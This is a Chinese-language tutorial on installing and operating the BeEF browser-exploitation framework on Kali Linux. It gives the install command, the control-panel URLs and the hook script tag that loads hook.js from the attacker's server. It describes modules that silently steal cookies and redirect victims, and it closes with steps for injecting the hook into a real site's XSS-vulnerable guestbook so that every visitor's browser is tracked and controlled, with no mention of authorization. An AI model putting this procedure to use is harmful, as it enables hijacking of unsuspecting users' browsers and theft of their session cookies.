这是一个利用XSS注入木马来监听和控制用户浏览器的工具.
新版的kali中可能没有内置这个工具了.
sudo apt install beef-xss
安装过程中需要设置登录密码, 默认账户:beef.
后面也可以通过配置文件修改账户和密码:
/usr/share/beef-xss/config.yaml
安装成功后会给出一个url, 用浏览器访问beef登录页面:
http://127.0.0.1:3000/ui/panel
默认任何ip都可以访问beef平台页面. 所以也可以使用远程访问:
192.168.112.201
是beef安装所在的主机.
http://192.168.112.201:3000/ui/panel
Log:
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://:3000/hook.js" ></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
这里显示了平台主页地址, 以及Hook木马的标签, 这个标签用于注入网站:
beef自带了两个测试页面, 这俩个页面是已经注入过的带有木马的页面:
http://192.168.112.201:3000/demos/basic.html
http://192.168.112.201:3000/demos/butcher/index.html
打开木马测试页面后, 浏览器就处于被控制状态, 可以回到beef平台中进一步操作.
进入beef平台主页面并登录.
左侧是被控制主机的目录, 右侧显示具体的操作:
Current Browser
界面显示用户的浏览器信息.
Details
界面的内容包括 时间, 浏览器版本, cookie, 操作系统版本, cpu/gpu版本等.
Commands
界面控制用户的浏览器执行各种命令.
绿色: 命令模块可以在目标浏览器上运行,且用户不会感到任何异常
橙色: 命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转 等)
灰色: 命令模块尚未针对此目标进行验证,即不知道能否可运行
红色: 命令模块不适用于此目标
选择
, 点击右下角的Execute
按钮执行即可控制用户的浏览器获取cookie.
选择
, 控制用户的浏览器重定向到其他url.
测试过demo页面有效之后, 可以将木马植入到具有XXS漏洞的主机测试.
打开目标网站存在XSS漏洞的位置, 将木马注入提交. 比如注入到留言板中.
木马标签中的地址需要替换为beef控制平台所在的ip:
注入成功后, 所有来访问木马网站的用户浏览器将被beef平台记录和控制.
回到beef平台, 在左侧即可看到被控制的木马网站, 以及访问它的用户.
凡是访问木马网站的用户, 浏览器每隔1秒会向beef控制平台发送数据, 保持监视.